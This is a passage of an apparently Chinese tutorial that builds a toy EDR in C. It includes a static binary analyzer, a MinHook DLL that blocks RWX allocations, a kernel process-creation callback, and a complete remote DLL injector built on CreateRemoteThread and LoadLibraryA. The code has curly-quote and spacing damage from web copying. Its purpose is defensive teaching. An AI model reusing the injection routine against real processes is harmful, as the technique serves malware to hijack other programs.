  114. }
  115. BOOL lookForSeDebugPrivilegeString(const wchar_t* filename) {
  116.     FILE* file;
  117.     _wfopen_s(&file, filename, L“rb”);
  118.     if (file != NULL) {
  119.         fseek(file, 0, SEEK_END);
  120.         long file_size = ftell(file);
  121.         rewind(file);
  122.         char* buffer = (char*)malloc(file_size);
  123.         if (buffer != NULL) {
  124.             if (fread(buffer, 1, file_size, file) == file_size) {
  125.                 const char* search_string = “SeDebugPrivilege”;
  126.                 size_t search_length = strlen(search_string);
  127.                 int i, j;
  128.                 int found = 0;
  129.                 for (i = 0; i <= file_size – search_length; i++) {
  130.                     for (j = 0; j < search_length; j++) {
  131.                         if (buffer[i + j] != search_string[j]) {
  132.                             break;
  133.                         }
  134.                     }
  135.                     if (j == search_length) {
  136.                         return TRUE;
  137.                     }
  138.                 }
  139.             }
  140.             free(buffer);
  141.         }
  142.         fclose(file);
  143.     }
  144.     return FALSE;
  145. }
  146. int main() {
  147.     LPCWSTR pipeName = L“\\\\.\\pipe\\dumbedr-analyzer”;
  148.     DWORD bytesRead = 0;
  149.     wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
  150.     printf(“Launching analyzer named pipe server\n”);
  151.     // Creates a named pipe
  152.     HANDLE hServerPipe = CreateNamedPipe(
  153.         pipeName,                 // Pipe name to create
  154.         PIPE_ACCESS_DUPLEX,       // Whether the pipe is supposed to receive or send data (can be both)
  155.         PIPE_TYPE_MESSAGE,        // Pipe mode (whether or not the pipe is waiting for data)
  156.         PIPE_UNLIMITED_INSTANCES, // Maximum number of instances from 1 to PIPE_UNLIMITED_INSTANCES
  157.         MESSAGE_SIZE,             // Number of bytes for output buffer
  158.         MESSAGE_SIZE,             // Number of bytes for input buffer
  159.         0,                        // Pipe timeout 
  160.         NULL                      // Security attributes (anonymous connection or may be needs credentials. )
  161.     );
  162.     while (TRUE) {
  163.         // ConnectNamedPipe enables a named pipe server to start listening for incoming connections
  164.         BOOL isPipeConnected = ConnectNamedPipe(
  165.             hServerPipe, // Handle to the named pipe
  166.             NULL         // Whether or not the pipe supports overlapped operations
  167.         );
  168.         wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
  169.         if (isPipeConnected) {
  170.             // Read from the named pipe
  171.             ReadFile(
  172.                 hServerPipe,         // Handle to the named pipe
  173.                 &target_binary_file, // Target buffer where to stock the output
  174.                 MESSAGE_SIZE,        // Size of the buffer
  175.                 &bytesRead,          // Number of bytes read from ReadFile
  176.                 NULL                 // Whether or not the pipe supports overlapped operations
  177.             );
  178.             printf(“~> Received binary file %ws\n”, target_binary_file);
  179.             int res = 0;
  180.             BOOL isSeDebugPrivilegeStringPresent = lookForSeDebugPrivilegeString(target_binary_file);
  181.             if (isSeDebugPrivilegeStringPresent == TRUE) {
  182.                 printf(“\t\033[31mFound SeDebugPrivilege string.\033[0m\n”);
  183.             }
  184.             else {
  185.                 printf(“\t\033[32mSeDebugPrivilege string not found.\033[0m\n”);
  186.             }
  187.             BOOL isDangerousFunctionsFound = ListImportedFunctions(target_binary_file);
  188.             if (isDangerousFunctionsFound == TRUE) {
  189.                 printf(“\t\033[31mDangerous functions found.\033[0m\n”);
  190.             }
  191.             else {
  192.                 printf(“\t\033[32mNo dangerous functions found.\033[0m\n”);
  193.             }
  194.             BOOL isSigned = VerifyEmbeddedSignature(target_binary_file);
  195.             if (isSigned == TRUE) {
  196.                 printf(“\t\033[32mBinary is signed.\033[0m\n”);
  197.             }
  198.             else {
  199.                 printf(“\t\033[31mBinary is not signed.\033[0m\n”);
  200.             }
  201.             wchar_t response[MESSAGE_SIZE] = { 0 };
  202.             if (isSigned == TRUE) {
  203.                 swprintf_s(response, MESSAGE_SIZE, L“OK\0”);
  204.                 printf(“\t\033[32mStaticAnalyzer allows\033[0m\n”);
  205.             }
  206.             else {
  207.                 // If the following conditions are met, the binary is blocked
  208.                 if (isDangerousFunctionsFound || isSeDebugPrivilegeStringPresent) {
  209.                     swprintf_s(response, MESSAGE_SIZE, L“KO\0”);
  210.                     printf(“\n\t\033[31mStaticAnalyzer denies\033[0m\n”);
  211.                 }
  212.                 else {
  213.                     swprintf_s(response, MESSAGE_SIZE, L“OK\0”);
  214.                     printf(“\n\t\033[32mStaticAnalyzer allows\033[0m\n”);
  215.                 }
  216.             }
  217.             DWORD bytesWritten = 0;
  218.             // Write to the named pipe
  219.             WriteFile(
  220.                 hServerPipe,   // Handle to the named pipe
  221.                 response,      // Buffer to write from
  222.                 MESSAGE_SIZE,  // Size of the buffer 
  223.                 &bytesWritten, // Numbers of bytes written
  224.                 NULL           // Whether or not the pipe supports overlapped operations
  225.             );
  226.         }
  227.         // Disconnect
  228.         DisconnectNamedPipe(
  229.             hServerPipe // Handle to the named pipe
  230.         );
  231.         printf(“\n\n”);
  232.     }
  233.     return 0;
  234. }

动态检测

动态检测也分为两个部分,第一个是被注入的Dll,第二个是Dll的注入程序

DLL.cpp

  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include “pch.h”
  3. #include “MinHook.h”
  4. // Defines the prototype of the NtAllocateVirtualMemoryFunction
  5. typedef DWORD(NTAPI* pNtAllocateVirtualMemory)(
  6.     HANDLE ProcessHandle,
  7.     PVOID* BaseAddress,
  8.     ULONG_PTR ZeroBits,
  9.     PSIZE_T RegionSize,
  10.     ULONG AllocationType,
  11.     ULONG Protect
  12.     );
  13. // Pointer to the trampoline function used to call the original NtAllocateVirtualMemory
  14. pNtAllocateVirtualMemory pOriginalNtAllocateVirtualMemory = NULL;
  15. // This is the function that will be called whenever the injected process calls 
  16. // NtAllocateVirtualMemory. This function takes the arguments Protect and checks
  17. // if the requested protection is RWX (which shouldn’t happen).
  18. DWORD NTAPI NtAllocateVirtualMemory(
  19.     HANDLE ProcessHandle,
  20.     PVOID* BaseAddress,
  21.     ULONG_PTR ZeroBits,
  22.     PSIZE_T RegionSize,
  23.     ULONG AllocationType,
  24.     ULONG Protect
  25. ) {
  26.     // Checks if the program is trying to allocate some memory and protect it with RWX 
  27.     if (Protect == PAGE_EXECUTE_READWRITE) {
  28.         // If yes, we notify the user and terminate the process
  29.         MessageBox(NULLL”Dude, are you trying to RWX me ?”L”Found u bro”, MB_OK);
  30.         TerminateProcess(GetCurrentProcess(), 0xdeadb33f);
  31.     }
  32.     //If no, we jump on the originate NtAllocateVirtualMemory
  33.     return pOriginalNtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
  34. }
  35. // This function initializes the hooks via the MinHook library
  36. DWORD WINAPI InitHooksThread(LPVOID param) {
  37.     if (MH_Initialize() != MH_OK) {
  38.         return -1;
  39.     }
  40.     // Here we specify which function from wich DLL we want to hook
  41.     MH_CreateHookApi(
  42.         L”ntdll”,                                     // Name of the DLL containing the function to  hook
  43.         “NtAllocateVirtualMemory”,                    // Name of the function to hook
  44.         NtAllocateVirtualMemory,                      // Address of the function on which to jump when hooking 
  45.         (LPVOID*)(&pOriginalNtAllocateVirtualMemory) // Address of the original NtAllocateVirtualMemory function
  46.     );
  47.     // Enable the hook on NtAllocateVirtualMemory
  48.     MH_STATUS status = MH_EnableHook(MH_ALL_HOOKS);
  49.     return status;
  50. }
  51. // Here is the DllMain of our DLL
  52. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
  53.     switch (ul_reason_for_call) {
  54.     case DLL_PROCESS_ATTACH: {
  55.         // This DLL will not be loaded by any thread so we simply disable DLL_TRHEAD_ATTACH and DLL_THREAD_DETACH
  56.         DisableThreadLibraryCalls(hModule);
  57.         // Calling WinAPI32 functions from the DllMain is a very bad practice 
  58.         // since it can basically lock the program loading the DLL
  59.         // Microsoft recommends not using any functions here except a few one like 
  60.         // CreateThread IF AND ONLY IF there is no need for synchronization
  61.         // So basically we are creating a thread that will execute the InitHooksThread function 
  62.         // thus allowing us hooking the NtAllocateVirtualMemory function
  63.         HANDLE hThread = CreateThread(NULL0, InitHooksThread, NULL0NULL);
  64.         if (hThread != NULL) {
  65.             CloseHandle(hThread);
  66.         }
  67.         break;
  68.     }
  69.     case DLL_PROCESS_DETACH:
  70.         break;
  71.     }
  72.     return TRUE;
  73. }
EdrRemoteInjectDll.cpp
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #define MESSAGE_SIZE 2048
  4. #define MAX_PATH 260
  5. int main() {
  6.     LPCWSTR pipeName = L”\\\\.\\pipe\\dumbedr-injector”;
  7.     DWORD bytesRead = 0;
  8.     wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
  9.     char dll_path[] = “MyDumbEDRDLL.dll”;
  10.     char dll_full_path[MAX_PATH];
  11.     GetFullPathNameA(dll_path, MAX_PATH, dll_full_path, NULL);
  12.     printf(“Launching injector named pipe server, injecting %s\n”, dll_full_path);
  13.     // Creates a named pipe
  14.     HANDLE hServerPipe = CreateNamedPipe(
  15.         pipeName,                 // Pipe name to create
  16.         PIPE_ACCESS_DUPLEX,       // Whether the pipe is supposed to receive or send data (can be both)
  17.         PIPE_TYPE_MESSAGE,        // Pipe mode (whether or not the pipe is waiting for data)
  18.         PIPE_UNLIMITED_INSTANCES, // Maximum number of instances from 1 to PIPE_UNLIMITED_INSTANCES
  19.         MESSAGE_SIZE,             // Number of bytes for output buffer
  20.         MESSAGE_SIZE,             // Number of bytes for input buffer
  21.         0,                        // Pipe timeout 
  22.         NULL                      // Security attributes (anonymous connection or may be needs credentials. )
  23.     );
  24.     while (TRUE) {
  25.         // ConnectNamedPipe enables a named pipe server to start listening for incoming connections
  26.         BOOL isPipeConnected = ConnectNamedPipe(
  27.             hServerPipe, // Handle to the named pipe
  28.             NULL         // Whether or not the pipe supports overlapped operations
  29.         );
  30.         wchar_t message[MESSAGE_SIZE] = { 0 };
  31.         if (isPipeConnected) {
  32.             // Read from the named pipe
  33.             ReadFile(
  34.                 hServerPipe,  // Handle to the named pipe
  35.                 &message,     // Target buffer where to stock the output
  36.                 MESSAGE_SIZE, // Size of the buffer
  37.                 &bytesRead,   // Number of bytes read from ReadFile
  38.                 NULL          // Whether or not the pipe supports overlapped operations
  39.             );
  40.             // Casting the message into a DWORD
  41.             DWORD target_pid = _wtoi(message);
  42.             printf(“~> Received process id %d\n”, target_pid);
  43.             // Opening the process with necessary privileges 
  44.             HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, target_pid);
  45.             if (hProcess == NULL) {
  46.                 printf(“Can’t open handle, error: % lu\n”, GetLastError());
  47.                 return FALSE;
  48.             }
  49.             printf(“\tOpen handle on PID: %d\n”, target_pid);
  50.             // Looking for the LoadLibraryA function in the kernel32.dll
  51.             FARPROC loadLibAddress = GetProcAddress(GetModuleHandle(L”kernel32.dll”), “LoadLibraryA”);
  52.             if (loadLibAddress == NULL) {
  53.                 printf(“Could not find LoadLibraryA, error: %lu\n”, GetLastError());
  54.                 return FALSE;
  55.             }
  56.             printf(“\tFound LoadLibraryA function\n”);
  57.             // Allocating some memory wth read/write privileges
  58.             LPVOID vae_buffer;
  59.             vae_buffer = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  60.             if (vae_buffer == NULL) {
  61.                 printf(“Can’t allocate memory, error: %lu\n”, GetLastError());
  62.                 CloseHandle(hProcess);
  63.                 return FALSE;
  64.             }
  65.             printf(“\tAllocated: %d bytes\n”, MAX_PATH);
  66.             // Writing the path of the DLL to inject: x64\Debug\MyDumbEDRDLL.dll
  67.             SIZE_T bytesWritten;
  68.             if (!WriteProcessMemory(hProcess, vae_buffer, dll_full_path, MAX_PATH, &bytesWritten)) {
  69.                 printf(“Can’t write into memory, error: %lu\n”, GetLastError());
  70.                 VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
  71.                 CloseHandle(hProcess);
  72.                 return FALSE;
  73.             }
  74.             printf(“\tWrote %zu in %d process memory\n”, bytesWritten, target_pid);
  75.             // Creating a thread that will call LoadLibraryA and the path of the MyDUMBEDRDLL to load as argument
  76.             HANDLE hThread = CreateRemoteThread(hProcess, NULL0, (LPTHREAD_START_ROUTINE)loadLibAddress, vae_buffer, 0NULL);
  77.             if (hThread == NULL) {
  78.                 printf(“Can’t launch remote thread, error: %lu\n”, GetLastError());
  79.                 VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
  80.                 CloseHandle(hProcess);
  81.                 return FALSE;
  82.             }
  83.             printf(“\tLaunched remote thread\n”);
  84.             // Freeing allocated memory as well as handles
  85.             VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
  86.             CloseHandle(hThread);
  87.             CloseHandle(hProcess);
  88.             printf(“\tClosed handle\n”);
  89.             wchar_t response[MESSAGE_SIZE] = { 0 };
  90.             swprintf_s(response, MESSAGE_SIZE, L”OK\0″);
  91.             DWORD pipeBytesWritten = 0;
  92.             // Inform the driver that the injection was successful
  93.             WriteFile(
  94.                 hServerPipe,       // Handle to the named pipe
  95.                 response,          // Buffer to write from
  96.                 MESSAGE_SIZE,      // Size of the buffer 
  97.                 &pipeBytesWritten, // Numbers of bytes written
  98.                 NULL               // Whether or not the pipe supports overlapped operations
  99.             );
  100.             // Disconnect
  101.             DisconnectNamedPipe(
  102.                 hServerPipe // Handle to the named pipe
  103.             );
  104.             printf(“\n\n”);
  105.         }
  106.     }
  107. }
EDR 驱动代码EDR.c
  1. #include <Ntifs.h>
  2. #include <ntddk.h>
  3. #include <wdf.h>
  4. #include <string.h>
  5. #include <stdio.h>
  6. #include <fltkernel.h>
  7. // Needs to be set on the project properties as well
  8. #pragma comment(lib, “FltMgr.lib”)
  9. // Maximum size of the buffers used to communicate via Named Pipes
  10. #define MESSAGE_SIZE 2048
  11. UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L“\\Device\\MyDumbEDR”); // Internal driver device name, cannot be used userland
  12. UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L“\\??\\MyDumbEDR”);        // Symlink used to reach the driver, can be used userland
  13. /*
  14. This function is sending the path as well as the name of the binary being launched
  15. to the DumbEDRAnalyzer agent running in userland
  16. */
  17. int analyze_binary(wchar_t* binary_file_path) {
  18.     UNICODE_STRING pipeName; // String containing the name of the named
  19.     // Initialize a UNICODE_STRING structure containing the name of the named pipe
  20.     RtlInitUnicodeString(
  21.         &pipeName,                      // Variable in which we will store the UNICODE_STRING structure
  22.         L“\\??\\pipe\\dumbedr-analyzer” // Wide string containing the name of the named pipe
  23.     );
  24.     HANDLE hPipe;                     // Handle that we will use to communicate with the named pipe
  25.     OBJECT_ATTRIBUTES fattrs = { 0 }; // Objects Attributes used to store information when calling ZwCreateFile
  26.     IO_STATUS_BLOCK io_stat_block;    // IO status block used to specify the state of a I/O request
  27.     // Initialize an OBJECT_ATTRIBUTE structure pointing to our named pipe
  28.     InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x02000NULL);
  29.     // Reads from the named pipe
  30.     NTSTATUS status = ZwCreateFile(
  31.         &hPipe,                                         // Handle to the named pipe
  32.         FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, // File attribute (we need both read and write)
  33.         &fattrs,                                        // Structure containing the file attribute
  34.         &io_stat_block,                                 // Structure containing the I/O queue
  35.         NULL,                                           // Allocation size, not needed in that case
  36.         0,                                              // Specific files attributes (not needed as well
  37.         FILE_SHARE_READ | FILE_SHARE_WRITE,             // File sharing access
  38.         FILE_OPEN,                                      // Specify the action we want to do on the file 
  39.         FILE_NON_DIRECTORY_FILE,                        // Specifying that the file is not a directory
  40.         NULL,                                           // Always NULL
  41.         0                                               // Always zero
  42.     );
  43.     // If we can obtain a handle on the named pipe then 
  44.     if (NT_SUCCESS(status)) {
  45.         // Now we’ll send the binary path to the userland agent
  46.         status = ZwWriteFile(
  47.             hPipe,            // Handle to the named pipe
  48.             NULL,             // Optionally a handle on an even object
  49.             NULL,             // Always NULL
  50.             NULL,             // Always NULL
  51.             &io_stat_block,   // Structure containing the I/O queue
  52.             binary_file_path, // Buffer in which is stored the binary path
  53.             MESSAGE_SIZE,     // Maximum size of the buffer
  54.             NULL,             // Bytes offset (optional)
  55.             NULL              // Always NULL
  56.         );
  57.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwWriteFile: 0x%0.8x\n”, status);
  58.         /*
  59.         This function is needed when you are running read/write files operation so that the kernel driver
  60.         makes sure that the reading/writing phase is done and you can keep running the code
  61.         */
  62.         status = ZwWaitForSingleObject(
  63.             hPipe, // Handle the named pipe
  64.             FALSE// Whether or not we want the wait to be alertable
  65.             NULL   // An optional timeout
  66.         );
  67.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwWaitForSingleObject: 0x%0.8x\n”, status);
  68.         wchar_t response[MESSAGE_SIZE] = { 0 };
  69.         // Reading the respons from the named pipe (ie: if the binary is malicious or not based on static analysis)
  70.         status = ZwReadFile(
  71.             hPipe,          // Handle to the named pipe
  72.             NULL,           // Optionally a handle on an even object
  73.             NULL,           // Always NULL
  74.             NULL,           // Always NULL
  75.             &io_stat_block, // Structure containing the I/O queue
  76.             &response,      // Buffer in which to store the answer
  77.             MESSAGE_SIZE,   // Maximum size of the buffer
  78.             NULL,           // Bytes offset (optional)
  79.             NULL            // Always NULL
  80.         );
  81.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwReadFile: 0x%0.8x\n”, status);
  82.         // Waiting again for the operation to be completed
  83.         status = ZwWaitForSingleObject(
  84.             hPipe,
  85.             FALSE,
  86.             NULL
  87.         );
  88.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwWaitForSingleObject: 0x%0.8x\n”, status);
  89.         // Used to close a connection to the named pipe
  90.         ZwClose(
  91.             hPipe // Handle to the named pipe
  92.         );
  93.         if (wcscmp(response, L“OK\0”) == 0) {
  94.             DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            StaticAnalyzer: OK\n”, response);
  95.             return 0;
  96.         }
  97.         else {
  98.             DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            StaticAnalyzer: KO\n”, response);
  99.             return 0;
  100.             // return 1;
  101.         }
  102.     }
  103.     else {
  104.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            StaticAnalyzer unreachable. Allowing.\n”);
  105.         return 0;
  106.     }
  107. }
  108. int inject_dll(int pid) {
  109.     UNICODE_STRING pipeName; // String containing the name of the named
  110.     // Initialize a UNICODE_STRING structure containing the name of the named pipe
  111.     RtlInitUnicodeString(
  112.         &pipeName,                      // Variable in which we will store the UNICODE_STRING structure
  113.         L“\\??\\pipe\\dumbedr-injector” // Wide string containing the name of the named pipe
  114.     );
  115.     HANDLE hPipe;                     // Handle that we will use to communicate with the named pipe
  116.     OBJECT_ATTRIBUTES fattrs = { 0 }; // Objects Attributes used to store information when calling ZwCreateFile
  117.     IO_STATUS_BLOCK io_stat_block;    // IO status block used to specify the state of a I/O request
  118.     // Initialize an OBJECT_ATTRIBUTE structure pointing to our named pipe
  119.     InitializeObjectAttributes(&fattrs, &pipeName, OBJ_CASE_INSENSITIVE | 0x02000NULL);
  120.     // Reads from the named pipe
  121.     NTSTATUS status = ZwCreateFile(
  122.         &hPipe,                                         // Handle to the named pipe
  123.         FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, // File attribute (we need both read and write)
  124.         &fattrs,                                        // Structure containing the file attribute
  125.         &io_stat_block,                                 // Structure containing the I/O queue
  126.         NULL,                                           // Allocation size, not needed in that case
  127.         0,                                              // Specific files attributes (not needed as well
  128.         FILE_SHARE_READ | FILE_SHARE_WRITE,             // File sharing access
  129.         FILE_OPEN,                                      // Specify the action we want to do on the file 
  130.         FILE_NON_DIRECTORY_FILE,                        // Specifying that the file is not a directory
  131.         NULL,                                           // Always NULL
  132.         0                                               // Always zero
  133.     );
  134.     // If we can obtain a handle on the named pipe then 
  135.     if (NT_SUCCESS(status)) {
  136.         wchar_t pid_to_inject[MESSAGE_SIZE] = { 0 };
  137.         swprintf_s(pid_to_inject, MESSAGE_SIZE, L“%d\0”, pid);
  138.         // Now we’ll send the binary path to the userland agent
  139.         status = ZwWriteFile(
  140.             hPipe,          // Handle to the named pipe
  141.             NULL,           // Optionally a handle on an even object
  142.             NULL,           // Always NULL
  143.             NULL,           // Always NULL
  144.             &io_stat_block, // Structure containing the I/O queue
  145.             pid_to_inject,  // Buffer in which is stored the binary path
  146.             MESSAGE_SIZE,   // Maximum size of the buffer
  147.             NULL,           // Bytes offset (optional)
  148.             NULL            // Always NULL
  149.         );
  150.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwWriteFile: 0x%0.8x\n”, status);
  151.         /*
  152.         This function is needed when you are running read/write files operation so that the kernel driver
  153.         makes sure that the reading/writing phase is done and you can keep running the code
  154.         */
  155.         status = ZwWaitForSingleObject(
  156.             hPipe, // Handle the named pipe
  157.             FALSE// Whether or not we want the wait to be alertable
  158.             NULL   // An optional timeout
  159.         );
  160.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwWaitForSingleObject: 0x%0.8x\n”, status);
  161.         wchar_t response[MESSAGE_SIZE] = { 0 };
  162.         // Reading the response from the named pipe (ie: if the binary is malicious or not based on static analysis)
  163.         status = ZwReadFile(
  164.             hPipe,          // Handle to the named pipe
  165.             NULL,           // Optionally a handle on an even object
  166.             NULL,           // Always NULL
  167.             NULL,           // Always NULL
  168.             &io_stat_block, // Structure containing the I/O queue
  169.             &response,      // Buffer in which to store the answer
  170.             MESSAGE_SIZE,   // Maximum size of the buffer
  171.             NULL,           // Bytes offset (optional)
  172.             NULL            // Always NULL
  173.         );
  174.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwReadFile: 0x%0.8x\n”, status);
  175.         // Waiting again for the operation to be completed
  176.         status = ZwWaitForSingleObject(
  177.             hPipe,
  178.             FALSE,
  179.             NULL
  180.         );
  181.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ZwWaitForSingleObject: 0x%0.8x\n”, status);
  182.         // Used to close a connection to the named pipe
  183.         ZwClose(
  184.             hPipe // Handle to the named pipe
  185.         );
  186.         if (wcscmp(response, L“OK\0”) == 0) {
  187.             DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            RemoteInjector: OK\n”, response);
  188.             return 0;
  189.         }
  190.         else {
  191.             DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            RemoteInjector: KO\n”, response);
  192.             return 1;
  193.         }
  194.     }
  195.     else {
  196.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            RemoteInjector unreachable. Allowing.\n”);
  197.         return 0;
  198.     }
  199. }
  200. void CreateProcessNotifyRoutine(PEPROCESS parent_process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) {
  201.     UNREFERENCED_PARAMETER(parent_process);
  202.     PEPROCESS process = NULL;
  203.     PUNICODE_STRING processName = NULL;
  204.     PsLookupProcessByProcessId(pid, &process);
  205.     SeLocateProcessImageName(process, &processName);
  206.     // Never forget this if check because if you don’t, you’ll end up crashing your Windows system ;P
  207.     if (createInfo != NULL) {
  208.         createInfo->CreationStatus = STATUS_SUCCESS;
  209.         // Retrieve parent process ID and process name
  210.         PsLookupProcessByProcessId(createInfo->ParentProcessId, &parent_process);
  211.         PUNICODE_STRING parent_processName = NULL;
  212.         SeLocateProcessImageName(parent_process, &parent_processName);
  213.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Process %wZ created\n”, processName);
  214.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            PID: %d\n”, pid);
  215.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            Created by: %wZ\n”, parent_processName);
  216.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            ImageBase: %ws\n”, createInfo->ImageFileName->Buffer);
  217.         POBJECT_NAME_INFORMATION objFileDosDeviceName;
  218.         IoQueryFileDosDeviceName(createInfo->FileObject, &objFileDosDeviceName);
  219.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            DOS path: %ws\n”, objFileDosDeviceName->Name.Buffer);
  220.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            CommandLine: %ws\n”, createInfo->CommandLine->Buffer);
  221.         // Compare the image base of the launched process to the dump_lasss string
  222.         if (wcsstr(createInfo->ImageFileName->Buffer, L“ShellcodeInject.exe”) != NULL) {
  223.             // Checks if the notepad keyword is found in the CommandLine
  224.             if (wcsstr(createInfo->CommandLine->Buffer, L“notepad.exe”) != NULL) {
  225.                 DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            State: DENIED command line\n”);
  226.                 createInfo->CreationStatus = STATUS_ACCESS_DENIED;
  227.                 return;
  228.             }
  229.             if (createInfo->FileOpenNameAvailable && createInfo->ImageFileName) {
  230.                 int analyzer_ret = analyze_binary(objFileDosDeviceName->Name.Buffer);
  231.                 DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”        State: analyze Static is %d\n”, analyzer_ret);
  232.                 
  233.                 if (analyzer_ret == 0) {
  234.                     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            State: Sending to injector\n”);
  235.                     int injector_ret = inject_dll((int)(intptr_t)pid);
  236.                     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            State: return injector ‘%d’\n”, injector_ret);
  237.                     if (injector_ret == 0) {
  238.                         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            State: PROCESS ALLOWED\n”);
  239.                         createInfo->CreationStatus = STATUS_SUCCESS;
  240.                         return;
  241.                     }
  242.                     else {
  243.                         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            State: PROCESS DENIED\n”);
  244.                         createInfo->CreationStatus = STATUS_ACCESS_DENIED;
  245.                         return;
  246.                     }
  247.                 }
  248.                 else {
  249.                     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, ”            State: Denied by StaticAnalyzer\n”);
  250.                     createInfo->CreationStatus = STATUS_ACCESS_DENIED;
  251.                     return;
  252.                 }
  253.             }
  254.         }
  255.     }
  256.     // Logical bug here, if the agent is not running, the driver will always allow the creation of the process
  257.     else {
  258.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Process %wZ killed\n”, processName);
  259.     }
  260. }
  261. void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
  262.     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “[MyDumbEDR] Unloading routine called\n”);
  263.     // Unset the callback
  264.     PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)CreateProcessNotifyRoutine, TRUE);
  265.     // Delete the driver device 
  266.     IoDeleteDevice(DriverObject->DeviceObject);
  267.     // Delete the symbolic link
  268.     IoDeleteSymbolicLink(&SYM_LINK);
  269. }
  270. NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
  271.     // Prevent compiler error such as unreferenced parameter (error 4)
  272.     UNREFERENCED_PARAMETER(RegistryPath);
  273.     DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Initializing the EDR’s driver\n”);
  274.     // Variable that will store the output of WinAPI functions
  275.     NTSTATUS status;
  276.     // Setting the unload routine to execute
  277.     DriverObject->DriverUnload = UnloadMyDumbEDR;
  278.     // Initializing a device object and creating it
  279.     PDEVICE_OBJECT DeviceObject;
  280.     UNICODE_STRING deviceName = DEVICE_NAME;
  281.     UNICODE_STRING symlinkName = SYM_LINK;
  282.     status = IoCreateDevice(
  283.         DriverObject,     // our driver object,
  284.         0,        // no need for extra bytes,
  285.         &deviceName,           // the device name,
  286.         FILE_DEVICE_UNKNOWN,   // device type,
  287.         0,        // characteristics flags,
  288.         FALSE,       // not exclusive,
  289.         &DeviceObject     // the resulting pointer
  290.     );
  291.     if (!NT_SUCCESS(status)) {
  292.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Device creation failed\n”);
  293.         return status;
  294.     }
  295.     // Creating the symlink that we will use to contact our driver
  296.     status = IoCreateSymbolicLink(&symlinkName, &deviceName);
  297.     if (!NT_SUCCESS(status)) {
  298.         DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “[MyDumbEDR] Symlink creation failed\n”);
  299.         IoDeleteDevice(DeviceObject);
  300.         return status;
  301.     }
